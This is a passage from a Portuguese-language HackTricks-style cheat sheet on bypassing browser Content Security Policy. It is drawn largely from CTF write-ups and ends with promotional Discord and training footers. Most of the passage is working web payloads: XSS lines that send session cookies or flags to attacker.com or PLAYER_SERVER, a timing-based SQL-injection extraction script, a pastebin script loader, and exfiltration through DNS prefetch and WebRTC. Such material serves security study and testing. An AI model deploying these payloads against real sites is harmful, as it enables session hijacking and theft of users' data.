|
|||
|
```
|
|||
|
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
|
|||
|
|
|||
|
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
|
|||
|
|
|||
|
Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
|
|||
|
|
|||
|
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
|
|||
|
|
|||
|
### Contornar CSP com marcação pendente
|
|||
|
|
|||
|
Leia [como aqui](../dangling-markup-html-scriptless-injection/).
|
|||
|
|
|||
|
### 'unsafe-inline'; img-src \*; via XSS
|
|||
|
```
|
|||
|
default-src 'self' 'unsafe-inline'; img-src *;
|
|||
|
```
|
|||
|
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.
|
|||
|
|
|||
|
Você pode contornar esse CSP exfiltrando os dados via imagens (nesta ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):
|
|||
|
```javascript
|
|||
|
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
|||
|
```
|
|||
|
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
|||
|
|
|||
|
Você também poderia abusar dessa configuração para **carregar código javascript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter. Você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
|||
|
|
|||
|
### Com Service Workers
|
|||
|
|
|||
|
A função **`importScripts`** dos service workers não é limitada pelo CSP:
|
|||
|
|
|||
|
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
|||
|
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Injeção de Política
|
|||
|
|
|||
|
**Pesquisa:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
|||
|
|
|||
|
#### Chrome
|
|||
|
|
|||
|
Se um **parâmetro** enviado por você está sendo **colado dentro** da **declaração** da **política,** então você poderia **alterar** a **política** de alguma forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
|
|||
|
```bash
|
|||
|
script-src-elem *; script-src-attr *
|
|||
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
|||
|
```
|
|||
|
Porque esta diretiva irá **substituir as diretivas script-src existentes**.\
|
|||
|
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
|||
|
|
|||
|
#### Edge
|
|||
|
|
|||
|
No Edge é muito mais simples. Se você puder adicionar no CSP apenas isto: **`;_`** **Edge** irá **descartar** toda a **política**.\
|
|||
|
Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
|||
|
|
|||
|
### img-src \*; via XSS (iframe) - Ataque de tempo
|
|||
|
|
|||
|
Observe a falta da diretiva `'unsafe-inline'`\
|
|||
|
Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar** você pode extrair as informações que precisa.
|
|||
|
|
|||
|
Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** leva **mais tempo** devido à função de sleep. Então, você será capaz de extrair a flag:
|
|||
|
```html
|
|||
|
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
|||
|
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
|||
|
<script>
|
|||
|
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
|
|||
|
function gen(x) {
|
|||
|
x = escape(x.replace(/_/g, '\\_'));
|
|||
|
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
|
|||
|
}
|
|||
|
|
|||
|
function gen2(x) {
|
|||
|
x = escape(x);
|
|||
|
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
|
|||
|
}
|
|||
|
|
|||
|
async function query(word, end=false) {
|
|||
|
let h = performance.now();
|
|||
|
f.location = (end ? gen2(word) : gen(word));
|
|||
|
await new Promise(r => {
|
|||
|
g.onload = r;
|
|||
|
});
|
|||
|
let diff = performance.now() - h;
|
|||
|
return diff > 300;
|
|||
|
}
|
|||
|
|
|||
|
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
|
|||
|
let postfix = '}'
|
|||
|
|
|||
|
async function run() {
|
|||
|
let prefix = 'nn9ed{';
|
|||
|
while (true) {
|
|||
|
let i = 0;
|
|||
|
for (i;i<alphabet.length;i++) {
|
|||
|
let c = alphabet[i];
|
|||
|
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
|
|||
|
console.log(prefix, c, t);
|
|||
|
if (t) {
|
|||
|
console.log('FOUND!')
|
|||
|
prefix += c;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
if (i==alphabet.length) {
|
|||
|
console.log('missing chars');
|
|||
|
break;
|
|||
|
}
|
|||
|
let t = await query(prefix+'}', true);
|
|||
|
if (t) {
|
|||
|
prefix += '}';
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
|
|||
|
console.log(prefix);
|
|||
|
}
|
|||
|
|
|||
|
run();
|
|||
|
</script>
|
|||
|
```
|
|||
|
### Via Bookmarklets
|
|||
|
|
|||
|
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
|||
|
|
|||
|
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
|||
|
|
|||
|
### Bypass de CSP restringindo o CSP
|
|||
|
|
|||
|
Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitiu **abusar de um script diferente para carregar um script arbitrário**.
|
|||
|
|
|||
|
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```html
|
|||
|
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script que impedia CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
|
|||
|
O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
|||
|
```html
|
|||
|
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
|||
|
'unsafe-eval' 'strict-dynamic'
|
|||
|
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
|||
|
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
|||
|
```
|
|||
|
### JS exfiltration with Content-Security-Policy-Report-Only
|
|||
|
|
|||
|
Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
|
|||
|
|
|||
|
Para um exemplo [**veja este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
|||
|
|
|||
|
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
|||
|
```javascript
|
|||
|
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
|||
|
```
|
|||
|
### Vazando Informações com CSP e Iframe
|
|||
|
|
|||
|
* Um `iframe` é criado que aponta para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
|
|||
|
* Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
|
|||
|
* Ao ouvir o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Esta propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
|
|||
|
|
|||
|
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a um potencial vazamento de informações sensíveis devido a comportamentos indefinidos.
|
|||
|
|
|||
|
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na alteração do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
|||
|
```markdown
|
|||
|
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
|||
|
```
|
|||
|
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível restringir os possíveis caracteres no subdomínio secreto, eventualmente revelando a URL completa.
|
|||
|
|
|||
|
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
|
|||
|
|
|||
|
Truque de [**aqui**](https://ctftime.org/writeup/29310).
|
|||
|
|
|||
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
|||
|
|
|||
|
**Insights de Hacking**\
|
|||
|
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
|
|||
|
|
|||
|
**Notícias de Hack em Tempo Real**\
|
|||
|
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
|
|||
|
|
|||
|
**Últimos Anúncios**\
|
|||
|
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
|||
|
|
|||
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|||
|
|
|||
|
## Tecnologias Inseguras para Bypass do CSP
|
|||
|
|
|||
|
### Erros de PHP quando muitos parâmetros
|
|||
|
|
|||
|
De acordo com a [**última técnica comentada neste vídeo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar muitos parâmetros (1001 parâmetros GET, embora você também possa fazer isso com parâmetros POST e mais de 20 arquivos). Qualquer **`header()`** definido no código web PHP **não será enviado** devido ao erro que isso irá gerar.
|
|||
|
|
|||
|
### Sobrecarga do buffer de resposta do PHP
|
|||
|
|
|||
|
O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
|
|||
|
Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
|||
|
|
|||
|
Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
|||
|
|
|||
|
### Reescrever Página de Erro
|
|||
|
|
|||
|
De [**este writeup**](https://blog.ssrf.kr/69), parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
|
|||
|
```javascript
|
|||
|
a = window.open('/' + 'x'.repeat(4100));
|
|||
|
setTimeout(function() {
|
|||
|
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
|||
|
}, 1000);
|
|||
|
```
|
|||
|
### SOME + 'self' + wordpress
|
|||
|
|
|||
|
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
|
|||
|
|
|||
|
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
|||
|
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
Além disso, **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
|
|||
|
|
|||
|
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
|
|||
|
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
|||
|
|
|||
|
## Bypasses de Exfiltração CSP
|
|||
|
|
|||
|
Se houver um CSP rigoroso que não permite que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
|||
|
|
|||
|
### Localização
|
|||
|
|
|||
|
Você poderia apenas atualizar a localização para enviar ao servidor do atacante as informações secretas:
|
|||
|
```javascript
|
|||
|
var sessionid = document.cookie.split('=')[1]+".";
|
|||
|
document.location = "https://attacker.com/?" + sessionid;
|
|||
|
```
|
|||
|
### Meta tag
|
|||
|
|
|||
|
Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
|
|||
|
```html
|
|||
|
<meta http-equiv="refresh" content="1; http://attacker.com">
|
|||
|
```
|
|||
|
### DNS Prefetch
|
|||
|
|
|||
|
Para carregar páginas mais rapidamente, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior.\
|
|||
|
Você pode indicar a um navegador para pré-resolver um nome de host com: `<link rel="dns-prefetch" href="something.com">`
|
|||
|
|
|||
|
Você poderia abusar desse comportamento para **exfiltrar informações sensíveis via solicitações DNS**:
|
|||
|
```javascript
|
|||
|
var sessionid = document.cookie.split('=')[1]+".";
|
|||
|
var body = document.getElementsByTagName('body')[0];
|
|||
|
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
|||
|
```
|
|||
|
Outra maneira:
|
|||
|
```javascript
|
|||
|
const linkEl = document.createElement('link');
|
|||
|
linkEl.rel = 'prefetch';
|
|||
|
linkEl.href = urlWithYourPreciousData;
|
|||
|
document.head.appendChild(linkEl);
|
|||
|
```
|
|||
|
Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:
|
|||
|
```
|
|||
|
X-DNS-Prefetch-Control: off
|
|||
|
```
|
|||
|
{% hint style="info" %}
|
|||
|
Aparentemente, essa técnica não funciona em navegadores sem interface (bots)
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
### WebRTC
|
|||
|
|
|||
|
Em várias páginas, você pode ler que **WebRTC não verifica a política `connect-src`** do CSP.
|
|||
|
|
|||
|
Na verdade, você pode _leak_ informações usando uma _solicitação DNS_. Confira este código:
|
|||
|
```javascript
|
|||
|
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
|||
|
```
|
|||
|
Outra opção:
|
|||
|
```javascript
|
|||
|
var pc = new RTCPeerConnection({
|
|||
|
"iceServers":[
|
|||
|
{"urls":[
|
|||
|
"turn:74.125.140.127:19305?transport=udp"
|
|||
|
],"username":"_all_your_data_belongs_to_us",
|
|||
|
"credential":"."
|
|||
|
}]
|
|||
|
});
|
|||
|
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
```
|
|||
|
## Verificando Políticas CSP Online
|
|||
|
|
|||
|
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
|||
|
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
|||
|
|
|||
|
## Criando CSP Automaticamente
|
|||
|
|
|||
|
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
|||
|
|
|||
|
## Referências
|
|||
|
|
|||
|
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
|||
|
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
|||
|
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
|
|||
|
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
|
|||
|
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
|
|||
|
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
|||
|
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
|||
|
|
|||
|
**Insights de Hacking**\
|
|||
|
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
|
|||
|
|
|||
|
**Notícias de Hack em Tempo Real**\
|
|||
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
|||
|
|
|||
|
**Últimos Anúncios**\
|
|||
|
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
|||
|
|
|||
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Suporte ao HackTricks</summary>
|
|||
|
|
|||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|